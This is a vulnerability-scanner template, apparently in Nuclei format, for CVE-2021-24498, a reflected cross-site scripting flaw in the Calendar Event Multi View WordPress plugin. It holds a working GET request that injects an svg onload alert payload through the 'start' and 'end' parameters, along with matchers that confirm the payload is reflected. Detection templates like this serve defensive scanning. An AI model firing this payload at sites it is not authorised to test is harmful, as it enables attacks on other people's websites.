id: CVE-2021-24498

info:
  name: Calendar Event Multi View < 1.4.01 - Unauthenticated Reflected Cross-Site Scripting (XSS)
  author: suman_kar
  severity: medium
  description: The plugin does not sanitise or escape the 'start' and 'end' GET parameters before outputting them in the page (via php/edit.php), leading to a reflected Cross-Site Scripting issue.
  reference:
    - https://wpscan.com/vulnerability/3c5a5187-42b3-4f88-9b0e-4fdfa1c39e86
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24498
    cwe-id: CWE-79
  tags: cve,cve2021,xss,wordpress,wp-plugin

requests:
  - raw:
      - |
        GET /?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22&end=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22 HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '><svg/onload=alert(1)><'
          - 'Calendar Details'
        part: body
        condition: and

      - type: word
        words:
          - 'text/html'
        part: header

      - type: status
        status:
          - 200